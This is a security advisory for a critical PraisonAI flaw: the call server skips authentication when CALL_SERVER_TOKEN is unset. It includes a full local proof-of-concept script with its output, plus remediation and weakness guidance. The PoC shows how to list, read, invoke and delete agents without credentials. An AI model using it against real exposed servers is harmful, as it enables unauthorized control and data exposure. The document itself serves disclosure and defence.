GHSA-86qc-r5v2-v6x6 CVE-2026-47396 PYSEC-2026-466
PraisonAI call server exposes unauthenticated agent listing, invocation, and deletion when CALL_SERVER_TOKEN is unset
- Severity
- 9.8 / 10
- Critical · CVSS 3.1
- Exploit chance (EPSS)
- 0.43%
- Chance of exploitation in the next 30 days. Higher than 37.85% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Fix
4.6.40- Upgrade praisonai to this version or later
Description
Summary
PraisonAI's call server exposes a network-facing agent control API without authentication when CALL_SERVER_TOKEN is not configured.
The affected component is the praisonai.api.agent_invoke router as mounted by praisonai.api.call. The authentication helper verify_token() fails open when CALL_SERVER_TOKEN is unset. Since every sensitive agent-control endpoint depends on this helper, starting the call server without a token allows any reachable client to list agents, inspect agent metadata and instructions, invoke agents, and unregister agents.
This is security-relevant because the bundled call server includes the vulnerable router and binds to 0.0.0.0. As a result, operators who launch the call server without explicitly setting CALL_SERVER_TOKEN may unintentionally expose an unauthenticated remote agent control plane.
Details
The vulnerable behavior is caused by a fail-open authentication default.
In praisonai/api/agent_invoke.py, CALL_SERVER_TOKEN is read from the environment:
CALL_SERVER_TOKEN = os.getenv('CALL_SERVER_TOKEN')
The authentication dependency then returns successfully when the token is not configured:
async def verify_token(request: Request, authorization: Optional[str] = Header(None)) -> None:
if not FASTAPI_AVAILABLE or not CALL_SERVER_TOKEN:
return # No authentication if FastAPI unavailable or no token set
This means that the absence of CALL_SERVER_TOKEN disables authentication entirely.
The same helper is used by sensitive agent-control routes, including:
@router.post("/agents/{agent_id}/invoke")
async def invoke_agent(..., _: None = Depends(verify_token))
@router.get("/agents")
async def list_agents(_: None = Depends(verify_token))
@router.delete("/agents/{agent_id}")
async def unregister_agent_endpoint(agent_id: str, _: None = Depends(verify_token))
@router.get("/agents/{agent_id}")
async def get_agent_info(agent_id: str, _: None = Depends(verify_token))
These endpoints allow a caller to:
- list registered agents;
- retrieve agent metadata;
- retrieve agent instruction text;
- invoke agents;
- unregister agents.
The vulnerable router is mounted by the call server:
from .agent_invoke import router as agent_invoke_router
app.include_router(agent_invoke_router)
The call server then listens on all interfaces:
uvicorn.run(app, host="0.0.0.0", port=port, log_level="warning")
Therefore, when praisonai-call is started without CALL_SERVER_TOKEN, the agent-control API becomes reachable without authentication from any client that can access the server.
PoC
The following local PoC imports the real praisonai.api.agent_invoke router from source, ensures CALL_SERVER_TOKEN is absent, registers a demo agent, mounts the router into a local FastAPI app, and sends unauthenticated requests to the vulnerable endpoints.
The PoC proves that, without sending any authentication material:
GET /api/v1/agentsreturns the list of registered agents.GET /api/v1/agents/{agent_id}exposes agent metadata and instructions.POST /api/v1/agents/{agent_id}/invokeexecutes the registered agent.DELETE /api/v1/agents/{agent_id}unregisters the agent.
Run with:
PRAISONAI_REPO=/path/to/PraisonAI python -B embedded_poc.py
Full PoC:
#!/usr/bin/env python3
from __future__ import annotations
import os
import sys
from pathlib import Path
from types import SimpleNamespace
REPO_ROOT = Path(os.environ.get("PRAISONAI_REPO", "/path/to/PraisonAI")).resolve()
PRAISON_ROOT = REPO_ROOT / "src" / "praisonai"
def verify_source() -> None:
expected = {
PRAISON_ROOT / "praisonai/api/agent_invoke.py": [
"CALL_SERVER_TOKEN = os.getenv('CALL_SERVER_TOKEN')",
"if not FASTAPI_AVAILABLE or not CALL_SERVER_TOKEN:",
'@router.post("/agents/{agent_id}/invoke")',
'@router.get("/agents")',
'@router.delete("/agents/{agent_id}")',
'@router.get("/agents/{agent_id}")',
],
PRAISON_ROOT / "praisonai/api/call.py": [
"app.include_router(agent_invoke_router)",
'uvicorn.run(app, host="0.0.0.0", port=port, log_level="warning")',
],
}
for path, needles in expected.items():
if not path.exists():
raise RuntimeError(f"source verification failed: file not found: {path}")
text = path.read_text(encoding="utf-8")
for needle in needles:
if needle not in text:
raise RuntimeError(f"source verification failed: {needle!r} not found in {path}")
class DemoAgent:
name = "demo-agent"
instructions = "super-secret instructions"
tools = [SimpleNamespace(name="danger-tool")]
def start(self, message: str) -> str:
return f"echo:{message}"
def main() -> int:
verify_source()
os.environ.pop("CALL_SERVER_TOKEN", None)
sys.path.insert(0, str(PRAISON_ROOT))
from fastapi import FastAPI
from fastapi.testclient import TestClient
from praisonai.api.agent_invoke import CALL_SERVER_TOKEN, register_agent, router
app = FastAPI()
app.include_router(router)
register_agent("demo", DemoAgent())
client = TestClient(app)
list_resp = client.get("/api/v1/agents")
info_resp = client.get("/api/v1/agents/demo")
invoke_resp = client.post("/api/v1/agents/demo/invoke", json={"message": "hello"})
delete_resp = client.delete("/api/v1/agents/demo")
print(f"[poc] token_configured={bool(CALL_SERVER_TOKEN)}")
print(f"[poc] list_status={list_resp.status_code} body={list_resp.json()}")
print(f"[poc] info_status={info_resp.status_code} body={info_resp.json()}")
print(f"[poc] invoke_status={invoke_resp.status_code} body={invoke_resp.json()}")
print(f"[poc] delete_status={delete_resp.status_code} body={delete_resp.json()}")
if CALL_SERVER_TOKEN:
raise SystemExit("[poc] MISS: CALL_SERVER_TOKEN unexpectedly set in test process")
if list_resp.status_code != 200 or "demo" not in list_resp.json().get("agents", []):
raise SystemExit("[poc] MISS: unauthenticated agent listing failed")
if info_resp.status_code != 200 or info_resp.json().get("instructions") != "super-secret instructions":
raise SystemExit("[poc] MISS: unauthenticated agent info leak failed")
if invoke_resp.status_code != 200 or invoke_resp.json().get("result") != "echo:hello":
raise SystemExit("[poc] MISS: unauthenticated agent invocation failed")
if delete_resp.status_code != 200:
raise SystemExit("[poc] MISS: unauthenticated agent unregister failed")
print("[poc] HIT: unauthenticated caller listed, inspected, invoked, and unregistered the demo agent")
return 0
if __name__ == "__main__":
raise SystemExit(main())
Observed result:
[poc] token_configured=False
[poc] list_status=200 body={'agents': ['demo'], 'count': 1, 'status': 'success'}
[poc] info_status=200 body={'agent_id': 'demo', 'status': 'registered', 'type': 'DemoAgent', 'name': 'demo-agent', 'instructions': 'super-secret instructions', 'tools': ['danger-tool']}
[poc] invoke_status=200 body={'result': 'echo:hello', 'session_id': 'default', 'status': 'success', 'metadata': {'agent_id': 'demo', 'message_length': 5, 'response_length': 10}}
[poc] delete_status=200 body={'message': "Agent 'demo' unregistered successfully", 'status': 'success'}
[poc] HIT: unauthenticated caller listed, inspected, invoked, and unregistered the demo agent
This confirms that the agent-control endpoints are accessible without authentication when CALL_SERVER_TOKEN is unset.
Impact
If an operator runs the PraisonAI call server without explicitly setting CALL_SERVER_TOKEN, any reachable client may be able to:
- enumerate registered agents;
- read agent metadata;
- read agent instruction text;
- invoke agents;
- trigger downstream tools or external integrations connected to agents;
- consume model or API budget through repeated invocation;
- unregister agents and disrupt availability.
The impact depends on the deployed agents and their connected tools. For agents wired to external APIs, internal systems, local tools, or privileged actions, this creates a remote unauthenticated control surface.
The issue is not limited to information disclosure. The unauthenticated invoke endpoint can trigger agent execution, and the unauthenticated delete endpoint can remove registered agents.
Suggested remediation
Recommended fixes:
-
Fail closed when
CALL_SERVER_TOKENis unset.The authentication dependency should reject requests unless authentication is explicitly configured and a valid token is supplied.
-
Refuse to mount the agent invocation router unless authentication is configured.
-
If unauthenticated mode is intended for local development, bind to
127.0.0.1by default whenCALL_SERVER_TOKENis absent. -
Add a startup error or highly visible warning when the call server is started without authentication.
-
Add regression tests that assert
401 Unauthorizedfor all sensitive agent routes when no valid token is supplied. -
Consider requiring an explicit unsafe flag, such as
--allow-unauthenticated-call-server, before allowing the server to start without authentication.
Security boundary
This report concerns the default authentication behavior of a network-facing server component. The issue is not that users can intentionally disable authentication for trusted local development. The issue is that the server fails open when CALL_SERVER_TOKEN is missing while the bundled server binds to 0.0.0.0, which can expose the agent-control API remotely.
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| praisonai | < 4.6.40 |
4.6.40 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
praisonai PyPI → 4.6.40
- pip
pip install --upgrade "praisonai>=4.6.40"- poetry
poetry add "praisonai>=4.6.40"- uv
uv add "praisonai>=4.6.40"
Severity breakdown
CVSS 3.1 9.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-284: Improper Access Control
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
How to prevent it
- Architecture and Design, Operation: Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
- Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CWE-306: Missing Authentication for Critical Function
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
How to prevent it
- Architecture and Design: Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability. Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port. In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design: Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks. In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
- Implementation, System Configuration, Operation: When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-26mh-57q7-jfvr PraisonAI vulnerable to Remote Code Execution via Broken AST Sandbox | High | Also affects praisonai |
| GHSA-6g6r-q6gw-w8fg PraisonAI has a Browser Server WebSocket origin validation bypass via unanchored regex (patch bypass of CVE-2026-40289 / GHSA-8x8f-54wf-vv92) | Critical | Also affects praisonai |
| GHSA-pvph-5j39-v8qc PraisonAI: Origin-validation bypass (startswith prefix match) enables unauthenticated cross-site request forgery against the PraisonAI MCP HTTP server | High | Also affects praisonai |
| GHSA-gfq8-hmph-9gjv PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret | High | Also affects praisonai |
| GHSA-2jgc-f764-c5r2 PraisonAI: [Auth Bypass] PraisonAI async Jobs API (`/api/v1/runs`) has no authentication — unauthenticated job execution, result theft, cancel and delete | High | Also affects praisonai |
| GHSA-pvxx-r596-f5qj PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforced | High | Also affects praisonai |
| GHSA-hmfx-4v44-9qw9 PraisonAI vulnerable to Server-Side Request Forgery via DNS rebinding bypass in webhook_url validation | Medium | Also affects praisonai |
| GHSA-rg5q-pp8p-f7jm PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` — bypass of CVE-2026-40114 | High | Also affects praisonai |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor